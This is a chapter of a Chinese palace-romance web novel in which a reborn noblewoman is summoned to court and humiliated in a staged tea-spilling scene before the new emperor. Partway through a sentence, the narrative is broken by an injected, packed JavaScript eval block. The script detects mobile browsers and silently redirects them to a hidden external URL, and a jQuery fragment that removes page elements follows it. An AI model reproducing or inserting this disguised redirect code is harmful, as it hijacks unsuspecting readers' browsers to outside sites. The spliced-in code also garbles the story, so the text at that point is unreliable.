第二日一早,贺夫人就派人唤她前去。
柳玉昭穿着水蓝色衣裙,瞧着既不过分华丽也不寒酸,朱唇轻点,眉眼弯弯,对镜放下描眉的手。
“知道了。”
她起身接过丫鬟递来的披帛,抬脚往外走去。
顾妈妈合上妆奁,迟疑道:“今日入宫,夫人会不会太素净了些……”
较之昨日见到的达官贵族,无不戴着华丽的宝石头面,柳玉昭发间点缀的钗环,委实过于稀疏。
她笑笑:“无碍。”
新帝上位后先是杀了一批中饱私囊之辈,又大肆提拔寒门子弟,豪门世家赴宴,无人敢攀比豪奢。
当然最关键的是,柳玉昭嫁妆大多是可使用的银票,没人给她添置首饰。
贺夫人见她的打扮,果然只是微微皱眉,并未多言。
她可舍不得送柳玉昭好东西,防她防得跟贼似的。
贺宣不愿和柳玉昭同乘,不由分说跨上马挥鞭先走了。
贺夫人暗中观察柳玉昭,发现她没有露出怨恨的神色,才满意点头。
“宣哥儿不懂事,还得你多担待。”
柳玉昭能感到四下仆人们的轻视,心想经过今日这一遭,日后她在侯府的日子得难过起来了。
嘴上恭顺称是。
——
新帝名为裴钦,原是先皇六子,母亲是安国大将军妹妹,入宫得封娴妃,荣宠无限。
可惜好景不长,六皇子出生没几年大将军横死沙场,将军府被查出私吞十万军饷,满门查抄,娴妃亦被牵连打入冷宫,没熬过一年便没了。
小小的六皇子直到十岁时才被先帝看见,生出微弱的慈父心肠,当正经皇子教养。
没曾想他暗中蛰伏,独自一人前往西北历练,徒手挣得功勋,建起了赫赫有名的西北军。
如今回到金银窝里,常常口出狂言,一身匪气。
谈笑间,人头落地。
柳玉昭想着有关新帝的传闻,越想越心惊。
朝野都说,这位从不按常理出牌的帝王——是弑父上位!
上辈子直到她死前,安北侯府已经被打压得连基本的体面也难以维持,不然凭她世子妃的身份,贺夫人何必眼睁睁看她病死。
不过——柳玉昭捏紧了藏在袖中的手,随着前世的记忆逐渐梳理清晰,她心底缓缓浮现另一个猜想。
她真的是病死的吗!
柳玉昭虽不通医术,但对自己的身体还算了解,她娘胎里体弱,可不至于被一场风寒拖死!
除非有人嫌她活着碍事!
身边伺候的小丫鬟偷偷议论过,贺夫人新相看的世子妃可是雍州首富的女儿,嫁妆足有三百台!
细细想来,三百台嫁妆,至少能保侯府十几年荣光!
贺夫人正阖眸,嘴角挂着和善的笑容。
柳玉昭慢慢放下袖中紧攥的手,抚平起皱的丝帕,心想是不是她,一试便知。
只要找到当时给她看病的郎中。
如果她前世真的是被人害死的,安北侯府便不是久留之地。
如今想来,贺夫人当时道,为她请来雍州有名的圣手,定能药到病除,但一剂剂药喝下去,丝毫不见好转。
柳玉昭记得贺夫人出身许州,好好的怎么会去雍州请人?
会不会是相看世子妃时遇上的?
马车外传来邹妈妈的声音:“夫人。”
柳玉昭掩下纷涌思绪,先一步下车,转身扶着贺夫人。
引路的宫女正守在一旁,柳玉昭不敢多瞧,低头跟在贺夫人身后。
贺宣没再作妖,强忍不适走在她身侧。
远远瞧着,两人仿佛真的是一对别扭的新婚夫妻。
柳玉昭余光瞥到贺宣像是被针扎了一样,急忙抖落沾到她披帛的手,心道好笑。
也不知贺兰珠是怎么做的,把不服管教的贺宣训得无比听话,成亲十年来,从没见他找过别人。
从某种程度上来说,也算得上情种。
贺夫人恭敬站在殿外,等待帝王传召。
她一想到上次除夕夜宴,新帝只是觉得烦闷,兴之所至竟然拿出一群宗室子弟收受孝敬的证据,堂而皇之让太监大声读出来,就不自觉两股战战。
苍天啊,可一定得保佑陛下心情好点。
安北侯身为异性王幸免于难,但新帝巡视的目光让他们恍惚觉得,侯府那点阴私无处遁形。
更别提先帝刚驾崩那段时间,侯爷被人怂恿劝谏新帝守丧,不想半点好处没捞着,反而赔上宣儿的婚事,整个侯府的安排都被打乱。
被人如狼似虎防着的裴钦今日早早下朝,正负手站在乾元殿侧殿,换下帝王朝服穿了身水蓝色的外袍,发束龙纹簪,看着站在殿外的三人。
“张德,你看他们二人像不像夫妻。”
张公公摸不清陛下的意思,捡着好话说:“世子和夫人昨日刚成婚,有些陌生再正常不过。”
裴钦闻言笑了:“你瞧,连你也觉得不像。”
“朕生平第一次指婚,竟是成了对怨侣。”
此话一出,张公公“扑通”一声跪下,抬手正欲打自己的嘴:“陛下,是奴才眼拙!”
“起来。”裴钦语含愉悦:“你说的没错,慌什么?”
他低头理了理衣袍,“走,朕得去看看这对貌不和神离的怨侣。”
张公公起身,余光瞄到世子妃今日穿的衣裳,打眼看去花纹样式和陛下新换的衣裳竟是一模一样!
他的脑中猛然窜出一个堪称荒唐的想法——
陛下莫不是……
贺夫人自然也发现撞衫的事情,她心脏猛跳,没想到微乎其微的概率叫她碰上了。
此时再让柳玉昭去换衣裳已经来不及,贺夫人只能硬着头皮上前行礼。
与贵人撞衫,事情可大可小,往小了说贵人一笑了之,往大了说可是冒犯之罪。
端看陛下的态度。
张公公看着低头恭敬的世子妃,端茶的手险些恐惧到发抖。
裴钦一个眼神,“张德,手抖就滚下去。”
他的声音不含喜怒,但张公公服侍了他几年,如何不知有时往往看着温和,实则在压抑怒火。
张公公脑中一片发白,再回首时已面色如常,“柳姑娘气度不凡,瞧着尊贵无匹,老奴一时看得入了迷,还望姑娘恕罪。”
说着,张公公当真要给柳玉昭跪下赔罪。
这话说得不合时宜,用词更是古怪大胆,除了裴钦之外的人一时愣住。
柳玉昭瞠目结舌,被突如其来的意外打乱节奏,端茶的手一歪,茶盏打翻在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309736|198775||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地,沾湿衣裙,扶着张公公僵持在原地。
她虽活了两辈子,但一直大门不出二门不迈,实在没遇到过这种野路子似的招式。
泼茶、捧杀,怎么和戏文里写的差不多?
下一步是什么?降罪?
贺夫人指甲死死掐着掌心,此刻恨不得昏过去,但她不能倒下,否则一切都会落到宣儿身上。
屈膝重重跪下:“臣妇教导不严,令世子妃当众失仪,请陛下责罚。”
陛下亲自下旨赐婚,张公公是陛下的人,贺夫人既不能指责柳玉昭野丫头,也不能怪张公公好生生乱讲一通。
沉寂的氛围十分压抑,柳玉昭忽而抬头看向上方,正对上帝王兴味的目光。
她瑟缩着回眸,很快想起熟悉的一幕。
昨日客栈里的——是他!
柳玉昭觉得困惑,陛下已旁观安北侯世子大婚,今日为何还要传唤他们入宫,设计让她出丑?
难不成昨天觉得她态度不尊敬?
这也太霸道了些!当时她甚至不知道他的身份!
裴钦幽幽道:“侯夫人这是做什么,朕何时成了蛮不讲理之人,只是一时不慎打翻茶杯罢了。”
“张德,带柳姑娘去换件合身的衣服。”
贺夫人唯唯应是。
在她看来,帝王果然是对柳玉昭的衣服不满,但碍于身份,才让张公公故意犯了无伤大雅的小错。
“玉昭,还不快谢过陛下。”
柳玉昭沉默着对上帝王毫不掩饰的目光,她的手脚忍不住发软,仿佛看见了凶恶的猛兽,下一秒便会被撕碎。
她按压住疯狂跳动的心脏,垂眸行礼。
直到跟着张公公走出殿门,那股挥之不去的头皮发麻感才散去,柳玉昭不着痕迹松口气。
张公公极为恭敬,一路上伏低做小,“姑娘请。”
柳玉昭看着殿门上方的匾额,“正德殿”三个大字一气呵成,殿内装饰更是精致无比,处处可见价值不菲的珍品。
不愧是皇城,随便一座宫殿都如此豪横。
柳玉昭此刻对新帝上位查抄贪官污吏的举措,有了更深的认识。
最上头的都这样,底下的想必不遑多让。
“公公?”
柳玉昭抬头,正要问衣服在哪儿,就见张公公赔笑道:“宫内女眷不多,得劳烦柳姑娘等一会儿。”
张公公偷偷擦着汗,没有陛下的指示,他哪敢给她找衣服。
毕竟除了宫女,后宫就剩下那几位吃斋念佛的太妃。
他唤来几个伶俐的小丫头,叮嘱她们好生伺候柳姑娘。
“我去给姑娘催催。”
说着,脚底抹油似的,一溜烟跑了。
柳玉昭假意品茶,眼睛从旁边的桌子扫到帷帐后的龙椅,愈发坐立难安,恨不得拔腿就跑。
下摆的茶水快干了都没见人,她被浓郁的龙涎香包裹着,皮肤滚烫,心底泛起凉意。
永昌帝他……该不会一气之下要赐死她?
正惊慌失措着,忽然殿外传来帝王疏朗的笑声,听着颇为狂放不羁。
“衣裙?殿中省不是预备了几件皇后常服,拿来给柳姑娘换上就是。”
裴钦撩袍跨步入殿,凤眸上挑。
“想来柳姑娘不会嫌弃。”